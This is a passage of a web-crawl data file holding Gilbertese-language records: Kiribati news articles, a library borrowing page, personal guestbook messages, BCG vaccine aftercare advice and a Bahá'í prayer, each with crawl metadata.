mwannanoakia ataei, te kanganga irouia ataei ake akea kantokaia, aki boutokakia ataei nakon te reirei ao a mwaiti riki.\nMan te karao birim aikai ao a bon karaoaki man aia karaki ake a korei ke man aia tibwatibwa nakoia raraoia inanon aia tai n reirei ao riki ake e a tia n reke nakoia kanganga aikai man mwengaia aika a kakaokoro ao a koroi aia rongorongo ao mai ikai ao e na kanga n ataaki ana kanganga temanna ma temanna ke e na kanga n toki te anua ma te mwakuri aio e ma bon ti toki ngkana e karebwetauaaki rongorongona ao e na kanga n rebwe.\nAna kukune te botaki ni mwakuri ibukiia aine,roronrikirake ao mweraoia aomata are e a manga anaiia ataein te reirei ni karaoa iai aia birim aika a reke man aia karaki ataei ake a tia n rikorikoi ma aekakin kanganga aika a kakaokoro.\nMai ikanne ao a tia ni karaoaki raoi birim aikai ao a kona ni kaotaki nakoia aomata inanon tain taian marooroo ao anga reirei ake a karaoaki man te botaki ni mwakuri aio ni mwangana ae te roronrikirake ma ngke are ko kainanoa naba am birim bwa ko bon kan tamnei I bon iroum ao ni karaua raoi ni iangoia bwa tera ae tuangko te birim anne a tauraoi ni karekeaki n te botaki ni mwakuri ibukiia aine, roronrikirake ao kamwengaraoi ni mwangana ae roronrikirake.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2016\/09\/18\/kangaanga-nakon-te-roronrikirake-iaon-kiribati\/","date":"2017-10-18T14:40:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00482.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":360,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.386,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te ibwobwoki i bukia Ataei ao Roronrikirake\nAkea boona ngkana ko bia kabongana te Nen-boki. E kona naba ni reke ami kaati. A kona ni anga te kareakaki mai roua tama ao tina i bukia ateai, ao a taratara raoi mani kawakinaki raoi booki ma ni kaokaki.\nKarikirake ibukia Ataei\nNi katoa wiiki, ao a bon tia n katauraoaki rongorongo ma taian karikirake nako ibukia ataein te reirei aika tabe ni rikirake inanon motirawan taian reirei. Iai naba taian karikirake ibukia naba tiina ma natia ao kagai naba ma boki ibukia te roro n rikirake ni kabaneia. Ongora man te auti ni boki ae ko tataneiai ni kawaria ibukin karikirake aikanne inanon te wiki, ko kona nori naba aikai i aon Tera baai aikai.\nBaai ake ko kona n tagoi man te auti ni boki\nAkea tukan te aomata mani maitin te boki ae kan tagoia nte tabo ni boki ibukia ataei ao e aki naba kaboaki gkana ko kan tagoia. Taian DVDs e katabuaki tagoakia bwa kona uotia nakon mwegam.\nE riai te kakaonimaki ni kaokaki te boki ae tagoaki imain io gke iaon te tai ae riai ni kaokaki iai. Te boki ae rimwi ni kaokaki ao bon teuana te taara ($1) te tuua nte boki teuana.\n|Teuana te wiki||Rimwi|\n|DVDs, Videos||50c te bong|\n|Magazines||30c te bong|\n|CDs||30c te bong|\n|3 te Wiki||Rimwi|\n|Booki||30c te bong|\n|Tapes||30c te bong|\n|Rongorongo (boki tape ao CD)||30c te bong|\nBooki\nIai booki i bukia atei aika uarereke, ao ataei n te reirei, ao te roronrikirake. I ai booki i buki aia makuri n te mwenga ao kawai ni rabakau i bukin te ukeuke.\nAia Kataloki Ataei (Kid's Catalogue)\nTe kataloki aio e karaoaki ba ena buokia ataei i nanon te Nen-boki. A kona naba ni kabongana te internet. Aia Kataloki naba e kabarabara aron te ibwobwoki are anganaki ataei man te websites i bukia ataei. Start searching (Nora i kai).\nKaaro\nAmi makuri kaaro ba kam na ataia booki aika tangoaki i rowia ataei man aia kaati.\nTiaki ara makuri man te Nen-boki te tararuaia ataei. E kona ni ripoti nakoia te koraki aika tararua ataei nkana ko aki kawakina natim. E kona ni reke i kai te ibwobwoki Children's access.\nAtaei ao roronrikirake a kona ni tangoia man te Nen-boki bai ni kabana aikai videos, DVDs CDs ae e tabuaki bai aika koreaki iai te R16.\nRoronrikirake\nMan te roro ae 13 nakon 18 te ririki. Kaaro ao tina a riai ni sainia aia booki natia nkana mai nano nte 18 te ririki, ao a bukinaki i bukin booki ba ana kaokaki i main te tai.\nI ai ara website i bukin te rorornirikirake ae aranaki ba te Teens.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/www.wcl.govt.nz\/languages\/kir-cya.html","date":"2017-10-17T15:04:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822116.0\/warc\/CC-MAIN-20171017144041-20171017164041-00284.warc.gz","language":"gil","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000079870224}","num_words":444,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E korakora te kakatauraoi ao tekaka wakiri iaon Tarawa Teinainano imwain kaukan te takakaro nakon te kaonobong ae imwaira aio.\nE taekinna te anna teaobitia man te kaawa ae Bairiki bwa ngkai ao ea waaki te kabae ara imwain te kaukuki aio riki ngkai tiim ake a moanna ngaia ake a katautauaki bwa ana tei ibukin TUC nakon te runga are e na kaukaki n raa tokin te ririki aio 2017.\nE taekinna riki te aobitia aio bwa nakon te Kaonobong ar imwaira aio ao e na karaoaki tekau,uki ae bubura man ana itera re TUC nakoia kaain te takakaro ae te utiboro.\nN te kaawa ae Bairiki ao a tiraua tiim ake a bobotaki kaaina ni kakoroi mwaitia ni katean aia tim imwain te kabae ara.\nMwakoron TUC e bon koromwakeaki ma i Bairiki nako Tanae?","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2017\/02\/16\/e-nang-waaki-ana-kaukuki-te-tuc-iaon-te-utiboro\/","date":"2017-10-18T14:40:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00617.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":136,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri tarina te bureti....hahaha....kouara moa gkai...long time ti tuai n manga reitaki....ia taku ba tao koa lost in the jungle..hahaha.....nee ngaia i norii tamneimi naba ma timetaake maa..ngaia kam bobo naba ma ngaia kee...ao koa anga naba au kamauri nakoia ao nakon naba Ietaake...ea bane gkai te Ietaake ke e tuai?? ao gke kouara ma natim ao tibum, hope kam bon marurung raoi....kanga akea moa te news mai ikai ba ti te kakatauraoi irou ngai imain 15th december ba ma miss hibiscus mai tabwewa...euara anne....lol...tau sis tekeraoi moa am bong ao koa manga bon reitia mai ikanne......\nmauri aunty ma natiu naomi e rapa ti nanag marurung raoi ao ngkami?gaia ane ea roko n kaungana ea?ea toki te winter ma te maitoro ae bon waaki napa tia kainano nte maitoro aei koa mena ia ngkami?tera rongorongon am tabo ane?luv 2 natiu naomi take care luv uz\nmauri aunty e rapa ti nang marurung raoi yoyo enang kume ea biribiri ngkai ti katauraoi imain ara camping tis frideii glenbrook ibukin te mee ko iraniko ea roko n kaungana te aro kanga ia uringa rabi hauea?kiss natiu naomi 4 me ao angana ara kamauri luv uz\nmauri aunty ko uara ngkai?ko mena ia?e uara natiu naomi?i misini ngkami every sunday rongorongon ikai are te earthquake e roko i christchurch anang kawa kaina auruaki autina angiia aomatana ngkai a homeless ma a lucky ba iai ana help te tautaeka ao te eang napa ngkai eroko ma e korakora riki nte south i auckland iai te eang ma eaki nang rotaki teleraoi maikane te kamauri ma te tangira nakoimi gai natim te panto ibuakoia tariu ni kabane hahaha love u\nhello Mamrosi kam uara ngkai ngake tia nang miss ni ngkami kam na manga raun ningai heheh ai akea ae e nang bati ni kaberoro n te auti ao keee ngake ti arangi ni miss nei Naomi are teubu ni kaebu ai akea raon ten Toa n unun hahaha\nHi, (Lady) Gaga, I'm fine thank u, which part of the world are u in. Isa, life changes n go on. I'm in Rabi for ur kind information, struggling with my spiritual life. I'm very weak with my prayer life n need help. Would u remember me in your prayers, please.\nTia boo boo moa ao e tekeraoi te waeki\nNingai manga mwanangam nako Iraq...ha..ha.. e tuai man toki am rerebaua? Ko mena ia ngkai i Tarawa ke NZ? Koa tia ni kaitibo ke ni kakarabakau ma Tientaake maa? Ngaia aikana amena naba ikanne ma iaki ata raroan aia tabo ma am tabo ane ko mena iai.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/banabanvoice.ning.com\/profile\/TemamroTokamaen","date":"2017-10-17T11:27:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187821088.8\/warc\/CC-MAIN-20171017110249-20171017130249-00153.warc.gz","language":"gil","language_score":0.9989777803,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"gil_Latn_score\": 0.998977780342102}","num_words":430,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nA nang toko waeia kaain ana tiim ni kuakua Taiwan (ROC) I Kiribati nakon te namwakaina ae boou, Okitobwa, 2016.\nTe kauoua n tiim mai I Taiwan are e na roko ni karaoa ana tutuo nakoia kaain Kiribati n te roko aio ao iai e kainaki te tiim irouia aman taokita temanna te neeti ao a raonaki iroun temanna man te admin are ana roko I Tarawa n 3 n Okitobwa ao ana moana aia mwakuri man 4 nakon 8 n Okitobwa man iteran waniua ni karokoa iteran aua te Moanibong nakon te Kanimabong ao man iteran waniua ni karokoa iteran tebwi ma uoua n te Kaonobong ao akea te tutuo ae e na karaoaki n te Tabati.\nTe Mackey Memorial Hospital teuana mai ibuakon ana onnaoraki Taiwan ae e bubura ao ni korakora n ana mwakuri ike ana taokita a bon bane aroia aio naba teuana te onnaoraki are e itaritari ma Tungaru Hospital.\nN te tiim naba aio ao e na kairaki iroun Dr Yeh, a paediatrician of Mackey Memorial Hospital, ao n raonaki iron temanna ibukin te cardiologist, temanna te gastroenterologist, two cardiologists, temanna ibukin te paediatrician ao te neeti,n reitaki ma anne ao aio ai bon te kauoua n tai rokoia aekaki n taokita aiokai ao iai naba are e na karaoaki ibukin tuoakin te buroo ao aio are a kakaraoia nakoia ataein te reirei, ao te kantaninga n te tutuo aio bwa a na ko na n reke ataei ake iai aorakin burooia n te tai ae tawe ao e na ko na ba n raoiroi marurungiia.\nDr. Shil, te Superintendent n te Mackey Memorial Hospital, ngaiia ake ana ira naba te tiim are e na roko ni karaoa ana ibuobuoki I Kiribati n raonaki irouia Dr. Chang, Vise Superintendent ao Dr. Hsu Director of International Medical Health Services n 7 Okitobwa ao aio rokoia are e na kaineti ma kaukan te Intensive Care Unit(ICU) are e na mena I nano n ana kateitei Taiwan are I Nawerewere ao aio are e na riki bwa te tabo n tutuo riki nakoia aoraki ake a rangi ni korakora aorakiia.\nAio te teienta are e na kanakoraoia riki ana waaki te botaki ni kuakua I Kiribati ao kauarerekean naba kawai ibukiia naake a kakaiaki aorakiia bwa ana at ate tabo ae ana kawaria ao aio te tabo ae e onoti ibukiia.\nAikai kaain te tiim are e katautauaki bwa ana roko inanon te namakaina ae e na roko ao are ana tiku ikai inanon aua te bong ao a kamwaneka naba bwa ai kaukakin naba ana te tabo n tutuo ae boou ae te IUC.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2016\/09\/22\/ana-manga-roko-kaain-ana-tiim-ni-kuakua-taiwan-roc-i-kiribati\/","date":"2017-10-18T14:42:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00751.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":436,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I'm Tamtam's youngest daughter. Nei Kamawa ana wife (aka Mum ahaha). The eldest of us is Luisa, then Motu ao James (Raki) and then me.\nWe are all with children now so i thought its very important to connect back to the family so our kids know who they are, where they belong to their families.\ni'm so grateful for your note and happy to know that you're also family.\nnow that i'm writing i don't have much time but i will definately get in touch again. i hope to be able to put up some photos for all the family back there to see. Tamtam - we call him Papa Sam (samson) now. He's doing well and so is mum. They're very happy couple nowadays. we are happy. i hope to write again to you very soon hopefully i've got photos. thank you so much for your reply. i'll put the pieces of the family members to the family tree soon. thank you and God bless you and your family. Talk to you again very soon - love Tina\nne ti bon bane ni marurung raoi..mai ikai ..ao gkami a uara ataei?\nne ai kawara naba Reone i taku gai ba nna maga ongora mai irouna ma gaia tiaki raraon te aba..e bon nag kananowaki ke...??God b wth her famli ao natina...ai bon aron te maiu aei..\nne aika atia ni mate tan latest..Semi are natin Pate ma Beibei. Are are maneiia nei Kabua ma.. Tiaotin are natin nei Mirii are makuri nte RCL enako ni katebe ao eaki naba oki..ea tia naba te kakai ao bon ti anabai ntebo ae reke..bon ti 1 natina ma buuna are natin Tebaruru Baoa.. ao are a manga raure ba neirei ea managa ien ma Jackson are aongkoa ara spare -part mai iroun nei Tefolou...hahhaha\ntao ti gaiia anne...\nRegadz toev1der incldin Kouratoka ao Tekareke ma Watati n Meia...kiss da kids 4 ue n Betarim 4m...heheheh\nHello dearest Ruru!!\nI hope you and the family are all well. I have been looking through images from my trip last year and desperately need to send you photographs. Could you email me your address so I can mail a CD to you. (firstname.lastname@example.org) Sending my love to the kids.\nLove\nNiki x x x\nhi ruru! kam uara? ti nanokawaki n ogo rogo2n betarim, ma e rarawa riki te uea, bwa gaia e a reke gkai te maru2g irouna. tekeraoi teuane, ao ke e mena irouna te uea!, ao ane e na bon aganaki te maiu ma te maru2g iroun teuare ana bwai bwai. tekeraoi ami kainaomata gkami, ao ami bwai temauri teraoi ao te tabomoa iaomi ni bane. ruru pliz kawakina raoi natiu ane wendt. ko rabwa. loloma levu to u all!\nruru e rabwa am comment ao i rag ku2rei ni maga ogora ma iroum, ao n ogo bwa kam bane ni maru2g raoi ma kain ami auti. gaira ikai ti bane n ok naba ma kain ara auti ni bane aika teaiaki an koky ma natia. hugs an kisses to u all ma e a bon moa2 riki ana kiss mimin nakoimi ni bane. ao au kiss naba nakkon natiu are te koro anne, are bon marosi jnr te boboto. love u all an miss u. god bless an takecare!\nhi ruru ma am buu n aaei ao kain abam ao kain batam. kam uara n tain te easter awae??? hope ba a nako rai bai ni kabane n ami tabo anne, ao tao kam bon enjoy ami easter.neiko, i a kaogoko naba are e a bon motirawa manem are teirabug, eg, e bon kawa te aba n te maiu aei. e a maiu teirabug ba e akitana te maiu ao ea toki naba kainanona. e bon email me kirenag, ba n na tuagko. tao ti gaia moa ane\ne baa gkai ara kabane n tain te ester, ao e bon boaki n te nukamotu ae glenbrooks. gaira bon kain pukekohe, bon aia mwakoro teaiaki ma kokeaki. e bon koro kaugana ba e a bon tia aron te ikiribati iaon nz ba a bon ragin rawata iaon ikai. ti bon camp ianon four days, e bon katea ana tent ane ao e a maeka inanona, ao te maitoro e bon koro arona. e nako raoi kanoan te easter gkai ao ti oki rikaki ma te kukurei , ba e koro raoi kanoan te waki. ara mitinare ikai bon nei teoraiti. n nagi nako moa ba e a baki naomi . ti a maga reitaki gkanaa ko mawa n am tai.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/banabanvoice.ning.com\/profile\/RutetaBetarimRimon","date":"2017-10-19T14:43:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823309.55\/warc\/CC-MAIN-20171019141046-20171019161046-00066.warc.gz","language":"gil","language_score":0.9921421409,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"gil_Latn_score\": 0.9921421408653259}","num_words":753,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nE a tia n ribotinaki man te tabo ni Kuakua ma i Nawerewere bwa te ika ae te nimnai are e buti ngkai ni kaboanakoaki iaon Tarawa Teinaninano ma Betio a rawata aika a tia ni nganga iai ao man rin n te Onaoraki ibukin kamarurungakia.\nE taeinna temanna te aine are kana naba te ka aio ae memena i Teaoraereke bwa e korakora angina bwa tiaki ti te bekanako ma e iriana n te anoi, te birito buaka ao man tangira te motirawa ae tau. E raonna n taekinna temanna te mwane ae memena i Biknibeu nakon Kiribati Updates bwa e koaua anne ngaia naba e kana te ika te nimnai ao man tanoi ao ni maraki beka ngaia are e a karoko n te Oo i Nawerewere ma bon te kuba nako naba ngaia bwa n rokona ikekeki n te wiki aio ao a tira naba aomata ake a rin ao ma tangira naba buokaia bwa mwin naba kanakin te ika te nimnai.\nE ngae nke iai aika e aki rangi ni korakora angin te nganaga irouia ma a tira ake a eke rinnako naba nkon te Onaoraki ibukin kamarurungakia.\nE ngae n anne ao e anga bwanana te tia Koroboki n te Kuakua rinanon te rerio nakon t botanaomata bwa ana katoka kaboan ao kanakin te ika te nimnai bwa e korakora boitinna.\nA bon wene naba ngkai tabeman ni kamarururngaki mwin kanakin te ika aio.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/05\/e-boitin-te-ika-te-nimnai\/","date":"2017-10-18T14:49:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00839.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":242,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BCG Vaccine: After Care for Parents - Kiribati (Gilbertese) version\nE kanga aron kawakinan natim imwin itinakina nte BCG\nTera ae e na kantaningaaki imwin itinakin natim nte BCG\nInanon 1–6 te wiki, e na bauraura te tabo are e itinaki. Aio e riai ni mao inanon tabeua te wiki.\nI mwin 6–12 te wiiki, e na kinaka mwin te tabo are itinaki. Ngkana e reke aei, rabuna te tabo are e itinaki n te kooti n te aro ae ena reke naba rinin te ang teutana nako nanona. Tai kamanenaa te buratita ae nimnim.\nE kona n reke teniua te namakaina imain maon te kinaka, ao ni kona n riki bwa te mwaka ae uarereke. Aei bon arona.\nE kanga aron tararuaan te tabo are e itinaki?\n- Kakaitiaka raoi te tabo are e itinaki ao kamwaua n taai nako.\n- Ngkana e kinaka, rabunna n te kooti ao karekea rinin te ang teutana.\nTai koona ke n kaakaara te tabo are e itinaki.\nTai kamanenai kabira, ke te bwa, ke te bwainaoraki man te aroka i aon te tabo are itinaki.\nTai katokaa te buratita ae nimnim iaon te tabo are e itinaki.\nTai bubuia ke n riringa te tabo are e itinaki.\nNgkana iai am kaangaanga ke ko kainnanoa rongorongon taekan te kangenge ke te iti ae te BCG, taiaoka n reitaki ma am Neeti are tabena Tararuaan Maurin te Botanaomata.\nIbukin titiraki tabeua ke kanganga iroum imwin te aoa ni mwakuri taiaoka reitaki ma te Healthline n te nambwa 0800 611 116.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.healthed.govt.nz\/node\/1130","date":"2017-10-17T06:06:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187820927.48\/warc\/CC-MAIN-20171017052945-20171017072945-00691.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":248,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.363,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nAo e tabe naba ngkai te botaki n takakaro ae te batiketi booro ni karaoa ana kataneiai ma kaain ana tiim.\nN maroron te tia kaira te kataneiai aio ae Kautu Temakei ao e taekinna bwa n aia kataneiai aio ao a bon ti reiakinaki taian Fundamental.\nE reitia riki n taekinna bwa iai ngkai kaain ana tiim aika 15 mwaitiia aika mwane are e tabe ni waaki ma ngaiia inanon aia tai ni kakataneiai aio.\nMan te mwaiti anne ao e na kona riki n uarereke nakon tengaun te mwaiti ngkai e tuai ni ko na ni kamatoa raoi bwa iraman raoi mwaitiia taan takakaro ae ana kona ni mwananga nakon te South Pacific Games.\nE ngae n anne ao n te namakaina ae Beberuare ke Maati ao iai aia Coach are e na roko ni kaira riki aron aia kataneiai n te takakaro ao are ena mai Aotiteria ao e na tiku ikai n te maan ae uoua nakon teniua te wiki.\nIai naba aia kantaninga kain te botaki n takakaro aio bwa e na kona n reke aia tai n nako n takakaro ma kaain Matiare ao anne are a katautaua bwa ana mwananga inanon te namakaina ae Meei ke Tuun ao n okiia ao ana manga reitanako riki aia kataneiai.\nE ngae n anne ao a kantaningaia naba bwa e na manga reke okin aia coach mai I Aotiteria ni manga reitanako riki te anga reirei ke te kataneiai ma kain te tiim aio ke e na aki.\nAna kakatauraoi te botaki n takakaro aio riki iaon taian Fundamental ike ngkana e roko te coach ao ana aki manga tanrikaaki n kakaenako bwa are a tia n reiakinaki mai imwaina.\nE wawaki ni katoa Kauabong ao Kaabong n te tairiki aia kataneiai kaain te takakaro aio inanon te batiketi booro kooti I Bairiki.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2015\/01\/19\/e-taketenaki-spg-irouia-kaain-te-botaki-n-takakaro-ae-te-batiketi-booro\/","date":"2017-10-18T14:43:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00671.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":309,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\nTeningaun mwaitiia ataei n aine ao ataeinmwane ake a tia n reke aia beeba man Kiribati Institute Technology mai imwiin reiakinakiia aron te mwakuri ma karababan riki aia ko na bwai n te taetae ni Matang n te Kanimabong ae nako n te KIT tikuea.\nMai ibuakoia ao a bane ni kakaokoro aia mwakuri are ana mwananga iai ke ni katabeaki iai bwa iai touati,housekeeping,kabentaa,taan butimwaai irua ao a mwaiti riki ngkai e ataaki Heyman bwa te tabo ni motirawa irouia bwakuaku ae e rangi n tatangiraki.\nN ana marooroo te minitita ae Ruateke Tekaiara ao e taekinna bwa aio te moan kurubu are ana mwananga nako ni karaoa aia mwakuri I Heyman Aotiteria ao ngkai ngaia te moan kurubu ao ngkai matan te tautaeka e iriria n taai nako n te tabo are a nako iai ma aia waaki ni kabane are a karaoi.\nE taku riki inanon ana marooroo bwa katabeaia bon te bwai ae e rangi ni kanganga ao are ana riai naba ni iangoia bwa ngkana a mwananga ao ana karaoa raoi aia mwakuri ma nanoia n nanorinano ao riki n aki tibanako ma katein abaia are bon rikiaia ae te kakairua ao ni momo aomata.\nE ngae n anne ao e tabeka naba ana taeka ni kauring bwa ana aki ko na ni mwaninga aron kaikawakirarakeia are e aanaki n te katei, te tangira ao tea koi.\nKam na uringnga naba bwa ngkami te nati ni Kiiribati tiaki te nati n Aotiteria ke Heyman ngaia are anuami ao ami mwakuri ake kam karaoi anaki taraaki bwa anuami n aomata ma e na taraki ao n noraki irouia kain ami tabo ni mwakuri I Hayman Island.\nE mwaneweia naba n taekinna bwa te mwananga aio ti kaain moa Kiribati n te tai aio ma iai te kataratara mai irouia aban tebetebeke ake tabeua ni iangoia bwa e na reke naba aio nakoia, e na waaki nako te kammwakuri aio ngkana e tamaroa te moan kamwananga are bon ngkami, e taku te minitita.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2016\/09\/18\/a-reke-aia-bebwa-teningaun-mwaitia-n-te-taetae-n-imatang-n-te-kit\/","date":"2017-11-23T09:16:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00461.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":339,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor\nIai ngkai te babaire ae e a tia ao mani wene nakoia taan takakaro ake ana ira te kauaba n te Pacific Mini Game n tokin te ririki aio bwa ana uarokoaki nakon te rekoti ae te marurung ke te fitness test.\nE taekina te aobitia man te KNOC n te wiki aio 19\/10 bwa aio te tutuo nakoia taan takakaro ake ana uoatarake aran Kiribati n ana marae ni kabotoa Port Villa n 4-5 n Ritembwa, 2017. Ana taraki raoi bwa a tau nakon te kabotoa aio ibuakoia raoia nikabotoa naba n te Pacific Mini Games.\nE moti ieouia komete ake ana tararua te waaki n tutuo aio bwa a riai n aki manikangare ara taan takakaro ake ana kaea te kabo aei. E kaainaki te komete ao niman kaaina aio irouia; Hon Minister David Collins, Willie Uaan –MWYSA sport, Henry Bwebweata-sports representatives, Karibataake Katibiri-athletic rep ao ai Tekabara Raurenti te tia koroboki man te KNOC.\nTakakaro ake ana kauabaaki bon te Archery, Athletics, Beach volleyball, Boxing, Table Tennis, tennis, ao ai te weightlifting.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/20\/te-kainibaire-iaoia-taan-ira-te-pacific-mini-games\/","date":"2017-11-23T09:14:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00647.warc.gz","language":"gil","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9999847412109375}","num_words":175,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"AAN ET WAAKI\nNi kabaneiia aika raraon te Atua... a riai n angaanga n aron tokin aia konaa, e ngae ngke tao a niniku ni mwaitin aia karea. E aki karawawata te Atua temanna te tamnei i aon ana konabwai. Tain anganano aikai a riai n rooroko man taabo nako mairouia taan onimaki ni kabane... Raoraon te atua! Kam na ataia raoi bwa onean mwiin angakekeiaki, ao ami karikirake a na kakabwaiaaki n raaka aika uauatao, ma bwaintangira ma bwain tituaraoi aika a bati. Teuare e roko ma te mwakuri teuana ae e tamaroa a na reke irouna kanuwanga aika tebwina mwaitina. Bon akea te nanououa bwa te Uea ae E maiu E na kaewaai kamatoakii naake a kakanakoi kaubwaiia naake a kakanakoi kaubwaiia i nanon Kwaina.\nTe Atua, ae Atuau! Kaotai moaia Am koraki ake a Taatangiriko ni kaoaua, ao buokiia ni barongai anera n te tokanikai ae e koaua raoi. Kamatoai waeia i aon Kawaim ae e eti, ao man Am tituaraoi are mangkoa kauki i mwaaiia mataroa Am kakabwaia; bwa a kaakabanea i aon Kawaim baike Ko a tia n anganiia, n tararuaa Am Aro, ni katutuka aia mwioki i nanon aia Ururingko, n angaanga nanoia i bukin Tangiram, ma n aki tauanibwai ni kaubwaiia i bukin neboan Tamaroam, ao ni kakaaei aangi i bukin Kakukureiam.\nAu Uea! Baairea te tibwa ae e mwaiti i bukiia te kaboomwi ae e kaman katauaki ao te kanuwanga ae e koaua.\nBoni Ngkoe, ni koaua, te tia Angaanga te Maiu, te Tia Buobuoki, te Aakoi, te Tituaraoi, te Angaana n taai nako.\n\n\nTe Auti << Ae Rimoa Ae Kan Riki >> Te Ao","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.bahaiprayers.org\/kiribati\/11.htm","date":"2017-11-22T14:33:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806609.33\/warc\/CC-MAIN-20171122141600-20171122161600-00675.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 